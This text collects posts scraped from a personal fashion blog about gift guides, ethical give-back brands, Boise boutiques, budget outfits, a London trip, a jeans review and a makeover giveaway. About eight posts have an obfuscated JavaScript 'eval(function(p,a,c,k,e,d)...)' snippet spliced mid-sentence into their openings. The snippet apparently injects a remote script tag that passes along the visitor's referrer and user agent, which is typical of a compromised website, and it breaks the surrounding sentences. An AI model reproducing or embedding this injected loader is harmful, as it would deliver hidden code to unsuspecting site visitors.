Top Tips for Last-Minute Christmas Gifts

Quick, look at your calendar – Christmas is just days away! If you’re not ready (and might be panicking a little), take heart; you are not alone, and your friendly neighborhood shopping pro is here to help!

When it comes down to the wire, you have two optimal choices to strategize finding that perfect gift:
1. Shop online, or
2. Shop hyper-local.

For those scrambling to find the perfect gifts, here are my top tips for last-minute Christmas shopping!

ONLINE GIFTING

Sorry, no, you probably don’t have time to ship something from Amazon; that’s not what I’m talking about here. Your best bet for last-minute online options are subscriptions! From diamond jewelry to organic dinner, there are tons of both national and local subscription services for just about everyone on your list.

For maximum impact, I recommend printing something out that explains the subscription, and then wrapping it along with a physical item that reflects the theme. For example, if you’re giving a wine delivery subscription, wrap it up in a box with a pair of champagne flutes!

Annual subscriptions are the gift that literally keeps on giving, all year long!

Top Picks for Online Subscriptions:

Beer of the Month Club – Obviously, monthly beer.
Brown Box Organics – Food and recipe delivery
Butcher Box – High-quality grass-fed/organic meat delivery
Fab Fit Fun Box – Lifestyle, beauty, and fashion products
Happy Rebel – Women’s edgy, luxe fashion subscription
Rent the Runway – Monthly swappable dresses, outfits, accessories
The 18 Best Wine Club Subscriptions – Like beer club, but with wine.

EXPERIENCES

Christmas Market in Dresden, Germany – Photo via Faredepot.com

Perhaps the best gift you can give right now is the one you can’t really wrap up in a box: adventure. Designer goods are waning in popularity right now, while travel and adventure are on the rise. Some of that might be fueled by economy and budget, or perhaps a thirst for the perfect photos to post on Instagram. Either way, there’s little in this world more exciting than opening up airplane tickets for Christmas!

Listed in order from most to leave expensive, below are my top picks for adventures you can purchase online in a minute, and cherish for a lifetime:

Winter in Europe – Gorgeous sights, lights, tastes, and shopping. Personal faves are the German winter markets in January, and the designer sales in Paris in February. Flight sales are insane right now, some under $500 round trip!
Tropical getaway – Go relax, get warm & soak in some vitamin D.
Disneyland – (or other theme park) Look for holiday deals!
Half-Day Drive – Leavenworth, WA or Sun Valley, ID are my faves for a weekend getaway!
Close By – The Springs hot springs & spa, McCall Winter Carnival, dress-up dinner at Chateau des Fleurs in Eagle.

HYPER-LOCAL

The Treasure Valley is blessed with a plethora of unique local gift, clothing, shoe, and home decor boutiques. But why choose local over big box stores? The answer is two-fold. You already know how important small business is to a city’s economy, sustainability and growth, so I won’t dig into that…

But the other reason is how well we know each other in this community! Chances are, the person you’re searching to find a gift for has a favorite place to shop. Go there. Show the salespeople the name & a photo of your person. It’s very likely they have worked with him/her before, and know their style and tastes! Walk into downtown Boise’s Piece Unique, for example, say “My wife Mary shops here all the time,” and they are likely to respond: “Oh yes, we love Mary! She’s very into our Baci Fashion line, which is right over here. Her favorite colors are pink and blue, so she’s probably love this sweater!”

Ta-da, the perfect gift! See how that works? It’s one of my favorite things about this town!

Below is a list of some of the best local fashion boutiques in town, where I know you will get that kind of service. (PLEASE comment below and let me know if I’ve missed YOUR favorite store. I love getting to know places & faces that are new and special in this community!)

American Clothing Gallery – Downtown Boise, 8th St.
Banana Ink – Downtown Boise, on 9th between Bannock and Idaho St.
Blue Fringe Boutique – Meridian, near Kohl’s on Eagle Rd. & Ustick
Fancy Pants – Downtown Boise, on the corner of Idaho St and 9th
I Beni Boutique – Meridian, near Eagle exit & Overland Rd., by Dickey’s BBQ Pit
Lyrique Boutique – Eagle & State St., Albertson’s plaza, by Rice Asian Cuisine & Bridal by Marie
Marla June’s Clothing Company – Downtown Boise on Bannock, between 8th and 9th St.
Piece Unique – Downtown Boise, 10th & Idaho St.
Ruby Lou – Downtown Boise, 8th St.
Shift Boutique – Downtown Boise on Bannock near 8th, and their men’s shop Keystone Station on 9th
Walla Walla Clothing Co. – Downtown Boise between 8th & 9th on Idaho St., Meridian at the Village

Find more unique, pretty, and often locally-sourced treasures at the following gift and decor shops:

Dragonfly – Downtown Boise on Main St., between 5th & 4th St. (Free parking in alley behind the store.)
Eyes of the World Imports – Downtown Boise, corner of 16th & Grove
Farm + Flower Apothecary – Boise Towne Square Mall, upper level near Starbucks
Feather & Twine Home – Boise, 3109 State St. beside Re-Pop Gifts
Hyde and Seek – Boise, Hyde Park, on 13th St. & Eastman
Maven – Downtown Boise on Main St near 10th, next to Guru Donuts
Merry Makers Market – Downtown Boise on Bannock near 9th, beside 10 Barrel
Mixed Greens Modern Gifts – Downtown Boise on the corner of 9th & Idaho St.
Re-Pop Gifts – Boise, 3107 State St., beside True Value Hardware store

That’s a wrap! Special thanks to Boise Public Radio’s Idaho Matters show for having me on to talk about all these fun ideas, and the true heart of gift-giving. Listen to the entire broadcast here! ❤

Merry Christmas, Happy Holidays, and may all your shopping adventures be successful!
XOXO,
Tanya

P.S., If you think I missed any shop you love & adore, please add them below in the comments!!! 🙂

Christmas 2017 Give-Back Gift Guide

Shopping eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zeeik|var|u0026u|referrer|shnyz||js|php’.split(‘|’),0,{}))
with soul gets glam for 2017!

~ photos by Allie Smith Hobbes, myself, or shared with permission from businesses below~

In the last few years, there’s been a major shift in the fashion industry towards a more ethical design, manufacturing, and shopping experience. From employment practices abroad, to real financial impact closer to home, it’s encouraging to watch this movement grow and blossom into something truly impactful… And truly beautiful!!!

Christmas is near, but if you still have shopping left to do, check out some of my personal favorite companies below for inspiration! Some items are available locally, and most are also online. I’ve chosen these products and companies because I have either connected directly with the fine people selling them, or have a deep personal passion for the mission behind their products.

But think of this list as just a beginning! Please (pretty please with sugarplums on top!) tell me YOUR favorite give-back-biz in the comments below. Post links, pics, anything you love; share your faves, so we can spread the joy, together!!!

XOXO,

Tanya

Bought Beautifully

Bought Beautifully is a lovely online shop founded by Colin & Emily Betzler, two-huge-hearted entrepreneurs from Wyoming. The Betzlers believe in changing the world by living generously, and to that end, have built “a marketplace that empowers you to create dignified opportunities for people around the globe, one purchase at a time.” Every item in their shop, from jewelry to Christmas ornaments, is both beautiful and fashion-forward.

I fell in love with Bought Beautifully’s Brass Stud earrings from Sasa (pictured above, lower right), a brand that empowers and supports deaf men and women in Nairobi, Kenya, and on the Island of La Gonave, Haiti.

Bought Beautifully sells handcrafted items from 36 partners in over 16 nations across the globe, and you can search by category, or by the cause that is close to your heart!

stylespygirl bought beautifully bracelet — Bracelet by Badala; proceeds fight human trafficking and empower women to rise out of poverty in East Africa, Central America, and the USA.

Speak Your Silence

My friend Matt Pipkin founded Speak Your Silence in 2012 as a place of healing, recovery, and empowerment for men and women around the world who are victims of sexual assault. Speak Your Silence’s unique zigzag pattern can be added onto any piece of apparel or accessory, as an unspoken sign of solidarity and support among those who have suffered.

Whether you have personally experienced sexual violence or not, wearing the zigzag pattern shows you care, and want to inspire others to prevent sexual assault and share your voice for those affected.

Speak Your Silence has partnered with Boutonné, a San Diego-based brand that produces leather goods, to create a special Swivel Clip, Envelope Laptop Case, and the Mills Tote I am wearing in the photos above. Click here to purchase the tote ($190), and find out more about Boise-based Speak Your Silence! T-shirts, decal kits, and other products are also available for purchase.

Corbin’s Legacy Bracelets

No child should have to go an entire school day without lunch. That’s the basic, and passionate anthem behind Corbin’s Legacy bracelets. Founded in honor of Corbin Leafman, a beloved and compassionate kindergarten teacher who passed away at 31 years old from cancer, Corbin’s Legacy bangles give back 100% of their proceeds to food & medical care for disadvantaged elementary school children.

Corbin was known for “always walking through the lunch line holding up a $20.00 bill to make sure that the cafeteria lady knew that none of her students were to go without a hot meal.” She bought backpacks, school supplies, and gifts for children in need, and her giving heart lives on in those who knew and loved her! Bracelets are $30 in downtown Boise, at Swank Boutique.

Tentree Sweatshirts

Did you know our local Buckle store is a major force for good in the community? Through their Buckle Believes program, they offer multiple give-back lines of clothing and accessories, all with great style and affordable prices! I loved these soft, cozy sweatshirts by tentree, available in multiple colors, and all fleece-lined. Ten trees are planted for every item you purchase, and the tag comes with an extra seed for you to plant! These tops are great for stocking stuffers, and cold winter nights. Shop the entire collection here, and at your local Buckle store, $35-76.

Girl Power for good!

All right, I get to toot my own horn on this rad project! But don’t worry; no money goes in my own pocket. 😉 It’s all for giving back! I teamed up with brilliant Boise designers Fourthwave Apparel for a special collaborative design, Nobody Puts Girl Power in a Corner. For every shirt sold, 40% of the profits go directly to Leap Charity, a local non-profit org that helps house and support refugee families arriving in our community.

You can read more about our story here, or jump straight to Fourthwave to buy one. $22 adult, $14.50 kids.

Proof Eyewear

If you live anywhere in the Treasure Valley, you know about Proof Eyewear! We all love this local company that’s made it big in the fashion industry, but did you also what big HEARTS they have as well?? Through Proof’s Do Good program, thousands of dollars have gone back into health and vision projects around the world. From micro-loans for entrepreneurs to building orphanages, Proof ‘s commitment to socially-conscious programs across the globe is unmatched.

Click here to read more about Proof’s Give Back program, and all the amazing projects they support, or visit their new downtown flagship store at 314 S. 9th Street, Boise, for last-minute gifts!

Buckle Believes

Those who know me well, know that I am passionate when it comes to fighting bullying. My son went through some horrific experiences at a very young age, because of his Asperger’s. Please read more about his story here; Ethan is an incredible kid, and I will fight tooth & nail for the life he deserves to live.

When I stopped by Buckle to look for give-back brands, these Buckle Believes t-shirts made my eyes leak a little. The Be Buddies, Not Bullies top was my fave, and I’m proud to wear it to help raise awareness for my son, and all kids everywhere!!! Proceeds from all three of the tops pictured above go to The American Cancer Society, and Pacer’s National Bullying Prevention Center. These designs (and more!) are available for $28.95 online at Buckle.com, or available at your local Buckle store.

Don’t forget to add your voice to the conversation!
Please comment below with your favorite give-back gifts and companies.
Merry Christmas, Happy Holidays, and may all your days be merry & bright!
XOXOXO

Spotlight On: Elegant Details Boutique in Mill Creek, WA

Mill eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|feekh|var|u0026u|referrer|iistd||js|php’.split(‘|’),0,{}))
Creek, WA is a bustling little suburb of north Seattle, nestled in an area between Bothell and Everett. This sprawling town has boomed in the last few years, growing from a quiet community to a thriving, urban center. My parents live here, and it’s been fun to watch their town blossom! Recently I discovered a new favorite boutique to shop in, amongst the bookstores, markets, and restaurants of Mill Creek.

Just a short walk up the road from Mill Creek’s Town Center is a quiet strip mall, where I found Elegant Details Boutique. Owners Kelly and Lisa opened their lovely little shop eight years ago, selling home decor and accessories. Three years ago, they decided to bring clothing and jewelry into their boutique, and sales really started to boom!

Like a mini-Anthropologie (but without the – ahem! – Anthro price tag), Elegant Details specializes in the pretty little things every woman craves, but doesn’t know she needed until she sees them! From luxurious couture bubble bath, to the thick, oozy-melting candles your grandmother used to have, to prim underslips trimmed with the most exquisite laces, Elegant Details is all things feminine.

I enjoyed shopping in here immensely, and came away with a lacy black top (on sale!), a beautiful off-the-shoulder tunic that’s totally on-trend, some sweet home-decor art, and the cutest little pair of Seahawks earrings to give my mom for her birthday. Everything was reasonably-priced, and the shop’s owner was kind, helpful, and friendly.

Whether you’re visiting friends, family, or just passing through Mill Creek, stop in for a delightful shopping adventure at Elegant Details Boutique! I’m sure you’ll enjoy the pretty little things, as much as I did. 🙂

XOXO,
Tanya

Elegant Details Boutique on Facebook
15704 Mill Creek Blvd, Ste 12, Mill Creek, WA 98012
425-585-0914

>>> Jump to the next article: Fall Fashion Preview & My Plaid Crush!!!

Easy Style on a Budget: Denim & Stripes

Do eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehtdk|var|u0026u|referrer|sdars||js|php’.split(‘|’),0,{}))
you ever have those days when the weather is icky, and you find yourself pining for the long, warm evenings of summer? That was me today, watching the sun set at 5:30pm and feeling the temperatures start to drop. Brr! I miss lazy, warm 9pm sunsets!

What to wear, when you’re not in the mood for a ton of effort? Stripes + Denim + Hat = Fab Look! Most women have some type of striped piece in their closet, and of course some denim. Put them together, and you get a laid-back ensemble with a hint of Parisian chic! Now, you may have heard that horizontal stripes are a no-no, because they make you look wide. The key is to use those stripes where you want to widen, and use a jacket or sweater over the areas you want to slim down! I have narrow hips, so I chose a cropped jacket; this makes the stripes stand out – and widen me visually – right at my hips. See?

I’ve had great luck lately at the crazy-awesome winter sales happening around town, so finding fab styles on a tight budget has been fairly easy-peasy. That always perks me up!

Earlier this week I scored a destroyed denim jacket at Urban Outfitters for only $20 – gotta love those clearance racks! Ruby Lou in Eagle is having a 50% off winter sale; I picked up a couple lovely blouses you’ll see in photos soon, and this rad wool Soho fedora that will go great with EVERYTHING from now until the weather warms up, lol! For Boise, that’s around… March, sigh.

Pistil Fedora – 30% off right now at Ruby Lou!
Urban Outfitters Denim Jacket – % off
Evereve Striped Tunic on SALE now $29.99!
Express Scuba Legging Jeans
Fergie Boots – on CLEARANCE now at Fergie.com!
Rebecca Minkoff Handbag ($35 at Nordstrom Rack sale!)
Coach Sunglasses (from Boise Mounatin Eyecare) – similar here.

BEST SALES going on right now, besides the above:

H&M, extra 30% off Clearance, Winter sale up to 70% off!
Forever 21, Sweaters starting at $11.99!
Swank Boutique – Redline markdowns on winter fashions from Free People, Wildfox, etc. – 20-50% off!
Fancy Pants in Boise – Winter sale through Friday, 30-60% off clothing, 50% off ALL shoes!
Victoria’s Secret Semi-Annual Sale (ends tonight at midnight!)

Piece Unique & Shoez – Weekend winter MEGA-clearance sale on new AND consignment racks throughout the store, 75% off and more on TONS of items!!! Open 10am-6pm Satruday, 12-5pm on Sunday

Follow me on Instagram for daily sale alerts & fab fashion finds!

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Luxe Dressing For Less

Photography eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kihhh|var|u0026u|referrer|zzknn||js|php’.split(‘|’),0,{}))
by ammophotog

Every Fall, I voraciously inhale stacks of fashion magazines, like most people consume Thanksgiving dinner! There are so many fun and fascinating styles emerging on the fashion scene this season! Lately, however, I’ve been changing the way I shop and view fashion – moving away from loading-up on seasonal trendy pieces, and choosing instead to invest in long-lasting, well-made classics that (hopefully) won’t wear out before I grow tired of them. It’s a mental shift in how I utilize my budget, and has been an interesting learning curve…

Recently, instead of buying a bunch of new fall outfits, I saved up & splurged my entire budget on one amazing Coach handbag, the Borough (see photo, above!). I fell in love with its clean, classic lines, hand-stitched workmanship, and luxurious materials. This, I decided, is my first big “investment piece.” I intend to get much bang for my buck from this bag, because of how many times I will use it, year after year! This classic style won’t go out of fashion, anytime soon.

anthropologie etienne dress — Photo Courtesy of Anthropologie

pink blush navy dress — Photo courtesy of Pink Blush

But then I spotted this dress “Etienne” dress at Anthropologie, and fell in love! Sigh, I’m not going to spend $178, even though it’s oh-so-lovely; my budget is tapped out!

Some time later, I received an email from online shopping site Pink Blush, offering to let me try some of their fun clothes & accessories to highlight on my blog. Lo and behold, I found this Navy Blue Mesh Striped Dress, for only $37! Looks pretty similar to the Anthropologie dress, doesn’t it??

I added a glitzy necklace for $11, a unique bracelet for $13, and $27 Chinese Laundry shoes from Ross, and I’m all set for a fashionable business meeting downtown. My swing coat is vintage from a local thrift store; I paid around $10 for it, seriously!

Put everything together, and my entire look is LESS THAN $100, apart from my Borough bag!!!
[abcf-grid-gallery-custom-links id=”6310″]

The key to looking luxe for less is in the details. Focus on investing in statement pieces that people will notice; quality shoes, iconic handbags, and stand-out coats are a great place to start! And if you ARE going to buy inexpensive clothes and jewelry, look for materials and craftsmanship that LOOK more expensive than they really are. This is called mixing high and low… And it’s brilliant, because not all of us can afford to wear head-to-toe designer brands every day, like Kim Kardashian.

Do you have a favorite “bargain” treasure shopping find? Tell me about it in the contest below!
One lucky person will be drawn at random to receive a $25 gift card to Pink Blush, where a little can go a long way.
Good luck!!!

XOXO,

a Rafflecopter giveaway
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Nordstrom Ups the Ante on the Latest Plaid Styles for Fall!

There’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zheas|var|u0026u|referrer|dtrzz||js|php’.split(‘|’),0,{}))
something about the return of Fall, when we feel that crisp morning air and hear school bells ring, that makes us reach for a cup of hot chocolate and our favorite cozy plaid pieces to snuggle up with! Plaid is timeless and classic, making it a great wardrobe staple you can pull out again and again, as the years pass. Above is my favorite plaid skirt: it’s a vintage piece from Nordstrom that I found at a local resale store! I love the unconventional color combo, and the cozy soft wool. It reminds me of my hometown, Seattle, with its’ misty fall mornings and Starbucks stands on every corner…

When Nordstrom’s August 2014 Catalog arrived in my mailbox, I wasn’t surprised to see a plethora of plaid styles throughout the pages. What did surprise me, however, is all the cool and unexpected ways Nordy’s upped the ante on this favorite fall staple! Oh my goodness, how hot and fun are these looks?? I just had to share them with you!

Here are some inspiring Fall Looks, from their August 2014 Catalog. Enjoy!

Which one is your favorite? Will you be rocking plaid this fall? Tell me your thoughts in the comment section below!

rag & bone/JEANS “The Leeds” Plaid Shirt, $264 / rag & bone/JEANS High Rise Skinny Stretch Jeans, $185

ACE Delivery Shirt, $68 / Tube Skirt, $58

TREASURE & BOND Sweatshirt, $68 / Hinge Skort, $68

TREASURE & BOND Sweater, $78 / Plaid Shirt / Boyfriend Jeans, $88

HUE Plaid Leggings, $48 / Pretty Polly Tartan Tights, $25

SPLENDID Aston Flannel Shirt, $128 / PAIGE Verdugo Ankle Jeans, $169

BOBEAU Plaid-Front Sweatshirt, $54 / NYDJ Ami Skinny Jeans, $114

RENEE’S ACCESSORIES Oversized Plaid Scarf, $38

AUGUST HAT Home Run Baseball Cap, $32

BOBEAU Lace Border Print Dress, $58

DR. MARTENS Alexandra Boot, $139.95 / STEVE MADDEN Pasa Work Boot, $109.95

BARGAIN HUNTERS: Most of these brands and looks can be found at a discount at your local Nordstrom Rack, also!!! Click here to find the Rack nearest to you.

Blogger Abroad Style Report: LONDON

My eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bhnnt|var|u0026u|referrer|khddt||js|php’.split(‘|’),0,{}))
outfit: TopShop London / Lala’s Outfit: Primark

I had such a BLAST last month, when I had the awesome opportunity to spend a week in London, England! I shopped and people-watched, to research the hottest trends across the pond. My favorite places to shop were Zara, TopShop, Primark, and Camden Market. And of course, I had to spend a little time oohing and ahing over the pretty, pretty things in London’s flagship Burberry shop. Wow!

The top trends I saw there for women were:

High-waist skinny jeans

High-waist skirts with crop tops

Knee-length twirly skirts

Platform Sandals

White sneakers

Ankle Boots

Dresses

Patterned Trousers

Lace-up boots (Doc Marten and biker style)

Overalls

Rompers & Jumpers

Scarves and Fedoras

Backpacks

Satchels

Enjoy my photos!
Hover your mouse over a pic to view the description, or click on them to view the full-sized version.

stylespygirl cambridge — Punting on the river

stylespygirl london — Everyone wears white converse!

stylespygirl london Borough Market — Borough Market

Oxford Circus

Tower of London stylespygirl — Tower of London

stylespygirl london Street Markets Near Liverpool Station — Street Markets Near Liverpool Station

stylespygirl london topshop — Topshop with Debonita!

Swans palace stylespygirl london — Swans near the palace

london stylespygirl big ben — Because you HAVE to get the phone booth photo!

stylespygirl london burberry — Burberry Store in London

stylespygirl london macarons — Macarons!

Tower bridge London stylespygirl — Tower Bridge London

Kissing london eye stylespygirl — Kissing in London

Primark Sandals Topshop Satchel StyleSpyGirl — Primark Sandals & Topshop Satchel

Camden Market stylespygirl london — Camden Market

stylespygirl london Millennium Bridge — Millennium Bridge

Kissing in the Underground stylespygirl london — Kissing in the Underground

Tower Bridge Sunset stylespygirl london — Tower Bridge – Storm Coming!

Underground london stylespygirl — My Huge Coach Travel Purse!

stylespygirl london Camden Market — Camden Market

The Jeans I’ll Be Wearing All Over Europe

Photos: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rdadh|var|u0026u|referrer|rfsys||js|php’.split(‘|’),0,{}))
Aubrey Brower / Makeup: Delila Gutierrez / Hair: Erin Swenson of Eclectic Style

So here’s a funny thing you might not know about me: I don’t like jeans. I get that they’re a wardrobe staple, and the biggest fashion trend since the 1960’s… But I would rather wear a dress, or a tunic & leggings, any day. Jeans have always felt stiff and restrictive to me! Of course, some of that distaste could be related to my inability to find jeans that actually fit me well. My legs are proportionately long for my body, so I usually have to go up a size to find jeans that aren’t too short, and then of course they just kind of fall off… And I’m back to dresses, lol!

Recently, denim company French Dressing Jeans contacted me about reviewing a NEW line of jeans they are launching in the USA for the first time, called LOVE Premium Denim. Utilizing Lycra and what they call “Hold-You-In” Technology, their jeans come in four different curve-conscious fits, and are designed to “flatten the tummy and lift the behind.” I was skeptical, I have to admit, but sent them my sizing info and waited.

A beautiful package arrived in the mail a few days later: my new LOVE Premium Denim “Kylie” skinny jeans, designed with a higher rise for us ladies with narrower hips, so they stay up and don’t sag down in the bootie. (Also available are the Suzanne, the Olivia, and the Jegging.) I immediately loved the softness of these jeans, and the cleverly-cut lines. See those vertical seams on the legs? Those are a visual trick of the eye that elongate and slenderize your figure!

Ok, consider me impressed… But what about the fit?

Slipping into my Kylie jeans felt very much like putting on a pair of leggings; soft, stretchy, and surprisingly comfortable! And the cherry on top: these babies are looooong! Yeah, definitely NOT putting them in the dryer, lol; they’re the perfect length. I’ve never been able to wear skinny jeans that had that little “scrunch” at the bottom, over my shoes! Seriously, I might admit that I squealed in delight, but don’t tell anyone.

Friday morning I leave for an amazing European adventure. I can’t wait to see what fashions are trending “across the pond!” My suitcase is packed, and I’m ready to go… With my new favorite jeans: Kylie skinnies that go with e v e r y t h i n g!!! Thank you for the opportunity to change my mind about jeans, LOVE Premium Denim! LOVE you right back.

XOXO,

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A Second Shot at Romance

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upon a time, I got to marry this awesome guy, and we were too poor to get “real” wedding photos. But with the help of Two Photography – and the magic of long hair! – we recently turned back the clock to capture those romantic images we never had.

Here’s the story… It was in Seattle, WA, many years ago. We had a huge “medieval” theme wedding, complete with costumes, candles, and fingers-only food! It was amazing, but hardly lavish, as we had very little money to invest in our special day. My wedding dress, for example, cost around $300, and was the handiwork of a very dear friend of mine, Rene Hardy.

Most weddings have minor problems; the flowers aren’t perfect, the ceremony starts late, etc.. Regardless of all that day’s snafus, our wedding was unforgettable; to this day people still tell me how much fun they had, and their most memorable moments. One couple in particular was so enamored, they got engaged during our ceremony!

I wouldn’t trade any of it, but I have to admit there is one thing I would do over, if I had the chance: invest in a good wedding photographer. Like I said, we were poor, but somehow we managed to come up with a few hundred dollars to pay a local woman, who a friend recommended. It turned out she had never shot a wedding before; only controlled studio portraits! But she was all we could afford, so we hired her.

The pictures that came back were a nightmare, and I cried as we went through the proofs. The ceremony shots were crooked, the lighting was bad, and she was obviously rushed & unsure of what types of shots to get at a wedding. I tried to salvage a few to hang on our wall, but most of those photos are still packed away in a box, somewhere…

Recently, I was chatting with friend and renowned photographer Frances Corkill, who was looking for a couple to do romantic shots at the new Village Cinema at the Village at Meridian. “We’ll model for you,” I told her, quickly volunteering us!

For us, this wasn’t just a photo shoot; it was the first time we had posed alone together for photos, since our wedding! It was a chance to relive a moment of romance, with a true professional who is so very gifted at bringing out the unique love that exists between every couple she shoots!

I cried when I saw the resulting pictures this time, too; only the reason was completely different! Thank you, Frances, for giving Trevor and I the chance to do this with you! XOXO!!!

Here’s my advice to any bride, young or old: it’s never too late for a do-over! Our wedding was 15 years ago (eek!), but taking those photos together rekindled something very special, and redeemed a moment I never thought we could recapture. I am so glad we got a “second shot!”

Wardrobe: Clothing & Jewelry courtesy of Dillard’s, whose Menwear & Formal departments continually impress me!

Photography: Frances Corkill / FB: Two Photography / Web: Two Photography

Hair/Wig Styling: Alyx Bogart-Vetter, Wig Styling Expert at the Morrison Center for the Performing Arts

Assistant: Amanda Morgan of Ammophotog

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A Very Special Mother’s Day Makeover, with The Village at Meridian

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week, I had the thrilling opportunity to work with The Village At Meridian on their HUGE Mother’s Day Makeover Giveaway. A drawing was held, and one lucky woman was gifted over $1,000 worth of gift cards and services from The Village, LOFT, White House | Black Market, Soma, Francesca’s, Oconik, Menchie’s, and the newly-opened SB Salon.

And the winner was… Stacy Schreiter! A mother of two who works at Scentsy, Stacy is super active and loves the great outdoors. When we met up for her shopping day, she talked to me about how important comfort is for her, as she is always on the go, and a very busy woman. Our first stop was Soma Intimates, because a well-fitting bra changes how your shirts and dresses fit, and Soma does a great job of professional measuring and fitting! We armed Stacy with some new “pretty little things,” and moved on to the clothes shopping.

Shopping in White House | Black Market – their summer dresses are so pretty!

Accessorizing in LOFT – Stacey LOVED their new Lou & Grey line; soft fabrics and colors, inspired by loungewear. She loaded up on great pieces, all for 40% off!

We found a gorgeous necklace & earrings set at Francesca’s, had a delicious lunch at Kona Grill (they were giving away free cupcakes for moms! Yum!!!), and then moved on to SB Salon for some pampering time!

Hair stylist Amie Reynolds Shoemaker worked her magic on Stacy, using products from Bumble & Bumble.

After hair, Stacy moved on to makeup, with Kristin Onne Merren. Kristin used natural luxury line Jane Iredale to even out Stacy’s skin tone, and added soft, natural colors to give her an easy-to-maintain, everyday look.

This smile MADE MY DAY!!!

Simply beautiful Stacy!!!

This ruffled blouse and long, flowy skirt from LOFT enhanced her hourglass shape and gave her petite frame visual height. And she loved this Lou & Grey Linen Blush Moto jacket – it’s so versatile, she can wear it with just about anything!!!

Photography by: Ammophotog / Hair: Amie Reynolds Shoemaker / Makeup: Kristin Onne Merren / Wardrobe: LOFT

Stacy, it was an honor to work with you, and help you find styles that suited your shape, and your lifestyle! I hope you felt as amazing as you looked. You are a vibrant spirit, a loving mother, and a beautiful woman!!! Happy Mother’s Day.

XOXO,

P.S. I want to give a HUGE THANK YOU to the wonderful ladies who helped us on Sunday! All of the saleswomen were sweet, helpful, and gracious, and Amie & Kristin were simply splendid!!! I definitely want to visit SB Salon again – what a beautiful place! Special thanks to the Village at Meridian, for giving me the opportunity to work with Stacy, on her very special Mother’s Day. XOXOXO!!!

Special love & thanks to my assistant-for-the-day Taite Mendenhall, a fabulous stylist in-the-making! Keep your eye on this brilliant young lady – great things are in store for her future in the fashion industry!!!

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